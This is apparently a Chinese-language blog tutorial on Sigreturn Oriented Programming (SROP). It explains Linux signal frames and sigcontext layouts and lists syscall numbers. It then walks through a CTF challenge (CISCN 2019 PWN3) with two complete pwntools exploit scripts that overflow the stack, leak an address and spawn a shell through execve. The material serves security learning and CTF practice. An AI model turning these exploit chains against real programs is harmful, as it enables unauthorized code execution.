SROP

Sigreturn Oriented Programming (SROP),面向 Sigreturn 的编程

signal 机制

Signal handing

信号处理(Signal handing)是 UNIX 系统中进程相互通信的一种机制。 在信号处理过程中,首先会保存当前进程的上下文,然后执行信号处理程序,最后恢复上下文并继续正常执行。

SROP 本质是 sigreturn 这个系统调用,主要是将所有寄存器压入栈中,以及压入 signal 信息,以及指向 sigreturn 的系统调用地址。

context

对于信号帧(signal Frame)来说,会因为架构的不同而有所区别。以下分别给出 32 位和 64 位的 sigcontext :

  • 32位
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
struct sigcontext
{
unsigned short gs, __gsh;
unsigned short fs, __fsh;
unsigned short es, __esh;
unsigned short ds, __dsh;
unsigned long edi;
unsigned long esi;
unsigned long ebp;
unsigned long esp;
unsigned long ebx;
unsigned long edx;
unsigned long ecx;
unsigned long eax;
unsigned long trapno;
unsigned long err;
unsigned long eip;
unsigned short cs, __csh;
unsigned long eflags;
unsigned long esp_at_signal;
unsigned short ss, __ssh;
struct _fpstate * fpstate;
unsigned long oldmask;
unsigned long cr2;
};
  • 64位
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
struct _fpstate
{
/* FPU environment matching the 64-bit FXSAVE layout. */
__uint16_t cwd;
__uint16_t swd;
__uint16_t ftw;
__uint16_t fop;
__uint64_t rip;
__uint64_t rdp;
__uint32_t mxcsr;
__uint32_t mxcr_mask;
struct _fpxreg _st[8];
struct _xmmreg _xmm[16];
__uint32_t padding[24];
};

struct sigcontext
{
__uint64_t r8;
__uint64_t r9;
__uint64_t r10;
__uint64_t r11;
__uint64_t r12;
__uint64_t r13;
__uint64_t r14;
__uint64_t r15;
__uint64_t rdi;
__uint64_t rsi;
__uint64_t rbp;
__uint64_t rbx;
__uint64_t rdx;
__uint64_t rax;
__uint64_t rcx;
__uint64_t rsp;
__uint64_t rip;
__uint64_t eflags;
unsigned short cs;
unsigned short gs;
unsigned short fs;
unsigned short __pad0;
__uint64_t err;
__uint64_t trapno;
__uint64_t oldmask;
__uint64_t cr2;
__extension__ union
{
struct _fpstate * fpstate;
__uint64_t __fpstate_word;
};
__uint64_t __reserved1 [8];
};

信号帧都会被直接压入堆栈中存储,如下图中 siginfo 和 ucontext 组成信号帧

简而言之,

在运行信号处理程序之前——上下文被推入堆栈
完成执行信号处理程序后——上下文将从堆栈中弹出

sigreturn

最重要的是 sigreturn 部分,signal handler 返回后,内核为执行 sigreturn 系统调用,要恢复之前保存的上下文,其中包括将所有压入的寄存器,重新 pop 回对应的寄存器,最后恢复进程的执行。它不检查上下文中栈的完整性,只是简单的填充对应的内容到相应的寄存器中。

这就意味着我们只要把想要的值填进寄存器,当系统执行完 sigreturn 系统调用之后,会执行一系列的 pop 指令以便于恢复相应寄存器的值,当执行到 rip 时,就会将程序执行流指向 syscall 地址,根据相应寄存器的值,此时,便会得到一个 shell,达到想要的效果。

其中,32 位的 sigreturn 的调用号为 77,64 位的系统调用号为 15。

利用方法

SROP特点

  • 依赖系统调用(syscall)强但对 libc.so 的依赖极少。

  • 要有空间存放 Signal Frame 的信息.

  • 与其他 rop 相比,对的依赖 gadgets 较少。

原理

当每次 syscall 返回的时候,栈指针都会指向下一个 Signal Frame。因此就可以执行一系列的 sigreturn 函数调用。因此我们就可以在程序某一个地方伪造一个 signal Frame ,再让程序 sys_rt_sigreturn 我们构造的 fake signal Frame,让进程恢复到我们构造的恶意状态。

利用的前提是目标程序中存在 sigreturn片段也就是 syscall;ret; 代码段,我们直接向栈上写入 Signal Frame 即可。

以下是常用的系统调用号:

  • i386
NR syscall name %eax arg0 (%ebx) arg1 (%ecx) arg2 (%edx)
3 read 0x03 unsigned int fd char *buf size_t count
4 write 0x04 unsigned int fd const char *buf size_t count
5 open 0x05 const char *filename int flags umode_t mode
11 execve 0x0b const char *filename char *const *argv char *const *envp
173 rt_sigreturn 0xad ? ? ?
  • amd64
NR syscall name %rax arg0 (%rdi) arg1 (%rsi) arg2 (%rdx)
0 read 0x00 unsigned int fd char *buf size_t count
1 write 0x01 unsigned int fd const char *buf
2 open 0x02 const char *filename int flags umode_t mode
3 rt_sigreturn 0x0f ? ? ?
59 execve 0x3b const char *filename char *const *argv char *const *envp

例题

[CISCN 2019华南] PWN3

题目链接:CISCN 2019华南]PWN3 | NSSCTF

分析题目
checksec

运行起来只有一个输入和输出,没有任何文字提示

函数分析

整个程序很小就只有一个函数 vlun(),利用的是 syscall 系统调用来调用所用到的函数。

read 可以读取 400 字节,但是 buf 只有 10 字节长度,是一个可以用空间很大的栈溢出问题。同样输出也是大于 buf 大小的,所以可以造成信息泄露。

我们看汇编代码部分,有一个现成的 syscall;ret; 供我们使用。

利用思路

在第一次 read、write 时向栈上写入 ‘/bin/sh\x00’,并泄露出它的地址。

泄露地址后需要计算相应的偏移,我们本地调试,在等待输入的时候输入aaaa,接着直接 search aaaa 查看字符串存储的位置。

我们最开始进入函数的时候的 rsi 指向栈基址,

所以我们的偏移是 offset = 0xe0d8-0xdfc0=0x118

有两种攻击方法:

  • execve 与 libc_csu_init

用利用题目中 mov rax, 3Bh;ret gatget 来修改 rax 为 0x3b(execve),同时利用 libc_csu_init 来修改 rdx 为 0,用 pop rdi;ret 来修改 rdi 的值指向 /bin/sh

  • srop

利用 srop ,在栈中部署一个伪造 signal Frame sigcontext,然后用 rt_sigreturn 来恶意恢复重而 get shell 。

exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
e=ELF('./pwn')
p=process('./pwn')

vuln_addr=0x04004F1
pay='/bin/sh\x00'+'a'*(0x10-len('/bin/sh\x00'))+p64(vuln_addr)

p.sendline(pay)
add=p.recvuntil('\x7f')[-6:].ljust(8,'\x00')
print(hex(u64(add)-0x118))
stack=u64(add)-0x118
log.info('stack:'+hex(stack))
rax=0x04004E2
libc_csu_init_gat1=0x040059A
libc_csu_init_gat2=0x0400580
rdi_ret=0x04005a3
syscall_ret=0x0000000000400517

pay='/bin/sh\x00'+'a'*(0x10-len('/bin/sh\x00'))+p64(rax)+p64(libc_csu_init_gat1)+p64(0)+p64(1)+p64(stack+0x10)+p64(0)*3+p64(libc_csu_init_gat2)+'a'*0x38+p64(rdi_ret)+p64(stack)+p64(syscall_ret)

p.sendline(pay)
p.interactive()

或者

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
e=ELF('./pwn')
p=process('./pwn')

vuln_addr=0x04004F1
pay='/bin/sh\x00'+'a'*(0x10-len('/bin/sh\x00'))+p64(vuln_addr)

p.sendline(pay)
add=p.recvuntil('\x7f')[-6:].ljust(8,'\x00')
print(hex(u64(add)-0x118))
stack=u64(add)-0x118
log.info('stack:'+hex(stack))

syscall_ret=0x0400517 # syscall ; ret
rax=0x004004DA #mov rax, 0Fh;ret
frame = SigreturnFrame()
frame.rax = 59
frame.rdi = stack
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret
pay='/bin/sh\x00'+'a'*(0x10-len('/bin/sh\x00'))+p64(rax)+p64(syscall_ret)+str(frame)
p.sendline(pay)
p.interactive()

事情要从我在nepCTF做了一个SROP但根本不会做开始说起···

之前做过这个例题但是就使用 ret2csu 做的,现在发现 SROP 更简单


SROP
https://shmodifier.github.io/2023/08/15/SROP/
作者
Modifier
发布于
2023年8月15日
许可协议